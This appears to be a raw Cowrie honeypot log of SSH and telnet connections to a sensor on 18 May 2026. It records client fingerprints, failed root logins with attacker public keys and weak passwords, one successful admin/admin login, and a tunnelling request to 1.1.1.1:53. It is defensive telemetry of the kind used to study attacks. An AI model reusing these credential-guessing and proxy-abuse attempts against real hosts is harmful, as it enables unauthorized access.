{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:31.650206Z","src_ip":"152.42.212.128","session":"06c4058d9b53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:31.653796Z","src_ip":"152.42.212.128","session":"06c4058d9b53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56882,"dst_ip":"10.17.0.5","dst_port":23,"session":"2137f70e4c66","protocol":"telnet","message":"New connection: 152.42.224.71:56882 (10.17.0.5:23) [session: 2137f70e4c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:41.065654Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":40114,"dst_ip":"10.17.0.5","dst_port":22,"session":"0120d9c703a1","protocol":"ssh","message":"New connection: 80.66.85.226:40114 (10.17.0.5:22) [session: 0120d9c703a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:58.978637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:58.983593Z","src_ip":"80.66.85.226","session":"0120d9c703a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:59.077832Z","src_ip":"80.66.85.226","session":"0120d9c703a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfg","message":"login attempt [root/asdfg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:59.489259Z","src_ip":"80.66.85.226","session":"0120d9c703a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:24:00.590801Z","src_ip":"80.66.85.226","session":"0120d9c703a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.90299105644226,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:24:32.968526Z","src_ip":"152.42.224.71","session":"2137f70e4c66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.212","src_port":43632,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad961dcb77ed","protocol":"ssh","message":"New connection: 62.182.85.212:43632 (10.17.0.5:22) [session: ad961dcb77ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:24:41.181164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:24:41.186211Z","src_ip":"62.182.85.212","session":"ad961dcb77ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:24:41.321239Z","src_ip":"62.182.85.212","session":"ad961dcb77ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:83:61:37:10:de:ff:e6:fe:60:f8:f7:42:a8:76:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu0cCPEUut0FNoIqRFK184UcFcj1/PMpmFQPG1ob8sBCzM3dtxdvOl7iEh8bUJB2lGLNXn2hl9HmGIJXnj1rQgiRZWwSaySU1uUI1tzsgw/vPMwq3VtKJBIpeNy2N/Uvjy1wTE2z+pck6wF3bI2OQggyElfY+E5yD3dYKxG+sP+Kf2CqHPet4dnRGlbrJRgu3JH6gZT7YpwKHhBna7qny+R2Fi0U5EtQ3FM9nqF5YRmFLCYKOE9n14pDRXCn/qxaQzMbqJ07pEQFqWu8Qc/F7GQ5JgNdzk9tL2K/hX+A1wEoiDiFtUH0ZgIthEFZY1ELfb7ZwRuPe7JtloLt4HMMv5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:83:61:37:10:de:ff:e6:fe:60:f8:f7:42:a8:76:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:24:41.974531Z","src_ip":"62.182.85.212","session":"ad961dcb77ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:83:61:37:10:de:ff:e6:fe:60:f8:f7:42:a8:76:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu0cCPEUut0FNoIqRFK184UcFcj1/PMpmFQPG1ob8sBCzM3dtxdvOl7iEh8bUJB2lGLNXn2hl9HmGIJXnj1rQgiRZWwSaySU1uUI1tzsgw/vPMwq3VtKJBIpeNy2N/Uvjy1wTE2z+pck6wF3bI2OQggyElfY+E5yD3dYKxG+sP+Kf2CqHPet4dnRGlbrJRgu3JH6gZT7YpwKHhBna7qny+R2Fi0U5EtQ3FM9nqF5YRmFLCYKOE9n14pDRXCn/qxaQzMbqJ07pEQFqWu8Qc/F7GQ5JgNdzk9tL2K/hX+A1wEoiDiFtUH0ZgIthEFZY1ELfb7ZwRuPe7JtloLt4HMMv5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:24:41.978105Z","src_ip":"62.182.85.212","session":"ad961dcb77ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:fa:99:24:33:d4:7c:ea:67:0e:44:69:c5:b4:6b:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8rr14G+6zTlnSk+tUEqDZZgdXYrY924m+tL0xfK6WH5ahaWICSQhEqZnmtjrNi2RclBgc3inn3MWyNd5+o+nfpwAG6WNysW74gYWG5OV8e7VYH/vVKfg5SUbx69mvlXUXxR9Tou+vlr14/qIY8W0l1mHy2ey/Ao2SdDTNCTVMtLXiI1d1q+DTe7GkJ86FMqax27HKSRcqX1mduI0rd1mXwqIyLvZekCUD6lhAz31TyA0l5vCOYQAZ7gRxsk45KuIdE8R8ZYRgrVrLZ9ruL1kWW3u6zAYlxa5D47qs90N0oVVYRGRLMDyOCDlGKwRWjpHhL8F3eHsf/ABe6Sgb9OuGQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:fa:99:24:33:d4:7c:ea:67:0e:44:69:c5:b4:6b:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:24:42.118505Z","src_ip":"62.182.85.212","session":"ad961dcb77ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:fa:99:24:33:d4:7c:ea:67:0e:44:69:c5:b4:6b:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8rr14G+6zTlnSk+tUEqDZZgdXYrY924m+tL0xfK6WH5ahaWICSQhEqZnmtjrNi2RclBgc3inn3MWyNd5+o+nfpwAG6WNysW74gYWG5OV8e7VYH/vVKfg5SUbx69mvlXUXxR9Tou+vlr14/qIY8W0l1mHy2ey/Ao2SdDTNCTVMtLXiI1d1q+DTe7GkJ86FMqax27HKSRcqX1mduI0rd1mXwqIyLvZekCUD6lhAz31TyA0l5vCOYQAZ7gRxsk45KuIdE8R8ZYRgrVrLZ9ruL1kWW3u6zAYlxa5D47qs90N0oVVYRGRLMDyOCDlGKwRWjpHhL8F3eHsf/ABe6Sgb9OuGQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:24:42.122579Z","src_ip":"62.182.85.212","session":"ad961dcb77ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:c8:f2:01:47:f7:c3:92:d6:51:7c:ee:dd:52:2f:22","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGWSxPvbPMQyscix7RNVif81f6WqUvkWjJ2+kV4KTBpe","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c0:c8:f2:01:47:f7:c3:92:d6:51:7c:ee:dd:52:2f:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:24:42.258521Z","src_ip":"62.182.85.212","session":"ad961dcb77ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:c8:f2:01:47:f7:c3:92:d6:51:7c:ee:dd:52:2f:22","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGWSxPvbPMQyscix7RNVif81f6WqUvkWjJ2+kV4KTBpe","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:24:42.262686Z","src_ip":"62.182.85.212","session":"ad961dcb77ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:4c:d1:02:89:68:de:2b:68:d5:72:9d:25:ba:bc:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuBsoAvDJcq2rMIhcP0dyCdg2dDdQioOXWUjDdU3XoMdsqgxSW/zMEyFYuMTD8UgPRUNexAypgBgl+vCCz7cLzaNcpQZY+esnEcHgm3niaSRJFwaB8+lnHGvAJDwGHQFHw5RoEFcQHiE25eOIeMMD89htgyHGUOeeAPY07b2wMGkldMcXLyOYbMiCpOpMpyrpDgD771mtZ1iUYsFilt8vOjYbP4A1nKBTjLc9YTXIP/RFvUaNti9olaqlXSIC/zLv3rwSgrXoXht1gTvDJvmVw5X8CH4lHZnB+2gytEz3E7yfhM5Ml2l7cJe3ecKRAdSvOyA4mt+hdycIPpCIwH4I5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:4c:d1:02:89:68:de:2b:68:d5:72:9d:25:ba:bc:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:24:42.398149Z","src_ip":"62.182.85.212","session":"ad961dcb77ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:4c:d1:02:89:68:de:2b:68:d5:72:9d:25:ba:bc:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuBsoAvDJcq2rMIhcP0dyCdg2dDdQioOXWUjDdU3XoMdsqgxSW/zMEyFYuMTD8UgPRUNexAypgBgl+vCCz7cLzaNcpQZY+esnEcHgm3niaSRJFwaB8+lnHGvAJDwGHQFHw5RoEFcQHiE25eOIeMMD89htgyHGUOeeAPY07b2wMGkldMcXLyOYbMiCpOpMpyrpDgD771mtZ1iUYsFilt8vOjYbP4A1nKBTjLc9YTXIP/RFvUaNti9olaqlXSIC/zLv3rwSgrXoXht1gTvDJvmVw5X8CH4lHZnB+2gytEz3E7yfhM5Ml2l7cJe3ecKRAdSvOyA4mt+hdycIPpCIwH4I5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:24:42.401123Z","src_ip":"62.182.85.212","session":"ad961dcb77ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:a4:bf:27:26:fc:41:1e:a1:9e:26:88:b3:c2:ff:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO6656844/S3onhIPi3S4AN6hIKSdOPiiRYkFCwzfE7dyY1QZRs2MY909P7exoKFoGr6mairuhuvvbMkvpV1IYaT/zSF00RFMmr5fkh79X4MXozNIAMPNq9fLFR4x9iv5+Mc5CiKeaBTwxz0oV8QioksN8h45xALv3x9Ao9TY/0BUU92ByryAZS36EbroWTUHYKIk6Kdnbhm8GbGiRXyQfUNmvoiIrv7lm+MzDsvcJCZGfdzRsuRf3sjStOmzDRnWKNrKrYCPe8M8HtW17hcAhaae0TBlYsAKJBwIkmo2VdmbYGuD74wPx1TzxDCcM+v4qeqvpfk6/+D0d3DGHiMl1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:a4:bf:27:26:fc:41:1e:a1:9e:26:88:b3:c2:ff:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:24:42.536139Z","src_ip":"62.182.85.212","session":"ad961dcb77ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:a4:bf:27:26:fc:41:1e:a1:9e:26:88:b3:c2:ff:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO6656844/S3onhIPi3S4AN6hIKSdOPiiRYkFCwzfE7dyY1QZRs2MY909P7exoKFoGr6mairuhuvvbMkvpV1IYaT/zSF00RFMmr5fkh79X4MXozNIAMPNq9fLFR4x9iv5+Mc5CiKeaBTwxz0oV8QioksN8h45xALv3x9Ao9TY/0BUU92ByryAZS36EbroWTUHYKIk6Kdnbhm8GbGiRXyQfUNmvoiIrv7lm+MzDsvcJCZGfdzRsuRf3sjStOmzDRnWKNrKrYCPe8M8HtW17hcAhaae0TBlYsAKJBwIkmo2VdmbYGuD74wPx1TzxDCcM+v4qeqvpfk6/+D0d3DGHiMl1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:24:42.539012Z","src_ip":"62.182.85.212","session":"ad961dcb77ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:24:42.677233Z","src_ip":"62.182.85.212","session":"ad961dcb77ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49326,"dst_ip":"10.17.0.5","dst_port":23,"session":"24bb89c7afab","protocol":"telnet","message":"New connection: 152.42.224.71:49326 (10.17.0.5:23) [session: 24bb89c7afab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:25:00.631193Z"}
{"eventid":"cowrie.session.closed","duration":120.004061460495,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:25:05.069865Z","src_ip":"152.42.224.71","session":"c44ba88b6b16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41632,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dbc6c80476b","protocol":"telnet","message":"New connection: 152.42.224.71:41632 (10.17.0.5:23) [session: 1dbc6c80476b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:25:16.186609Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42048,"dst_ip":"10.17.0.5","dst_port":23,"session":"275314a8203a","protocol":"telnet","message":"New connection: 152.42.224.71:42048 (10.17.0.5:23) [session: 275314a8203a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:25:22.362542Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42058,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5d090e8b525","protocol":"telnet","message":"New connection: 152.42.224.71:42058 (10.17.0.5:23) [session: c5d090e8b525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:25:23.919990Z"}
{"eventid":"cowrie.session.closed","duration":45.3096821308136,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:25:45.940762Z","src_ip":"152.42.224.71","session":"24bb89c7afab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.3009467124939,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:26:03.487423Z","src_ip":"152.42.224.71","session":"1dbc6c80476b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.17455697059631,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:26:03.536957Z","src_ip":"152.42.224.71","session":"275314a8203a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":37622,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa551e2bd80d","protocol":"ssh","message":"New connection: 87.251.64.176:37622 (10.17.0.5:22) [session: fa551e2bd80d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:26:09.888970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:26:09.894039Z","src_ip":"87.251.64.176","session":"fa551e2bd80d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:26:10.011577Z","src_ip":"87.251.64.176","session":"fa551e2bd80d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:26:10.316614Z","src_ip":"87.251.64.176","session":"fa551e2bd80d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:26:10.416345Z","session":"fa551e2bd80d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:26:10.521211Z","src_ip":"87.251.64.176","session":"fa551e2bd80d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:26:10.631400Z","src_ip":"87.251.64.176","session":"fa551e2bd80d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38702,"dst_ip":"10.17.0.5","dst_port":23,"session":"211db7d9a600","protocol":"telnet","message":"New connection: 152.42.224.71:38702 (10.17.0.5:23) [session: 211db7d9a600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:26:29.123886Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":35790,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff037aa34569","protocol":"telnet","message":"New connection: 213.108.3.46:35790 (159.203.135.109:23) [session: ff037aa34569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:26:35.241568Z"}
{"eventid":"cowrie.session.closed","duration":0.0193178653717041,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:26:35.260717Z","src_ip":"213.108.3.46","session":"ff037aa34569","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":44314,"dst_ip":"10.17.0.5","dst_port":22,"session":"067f3c1412b1","protocol":"ssh","message":"New connection: 62.133.63.178:44314 (10.17.0.5:22) [session: 067f3c1412b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:26:40.670210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:26:40.676001Z","src_ip":"62.133.63.178","session":"067f3c1412b1","protocol":"ssh"}
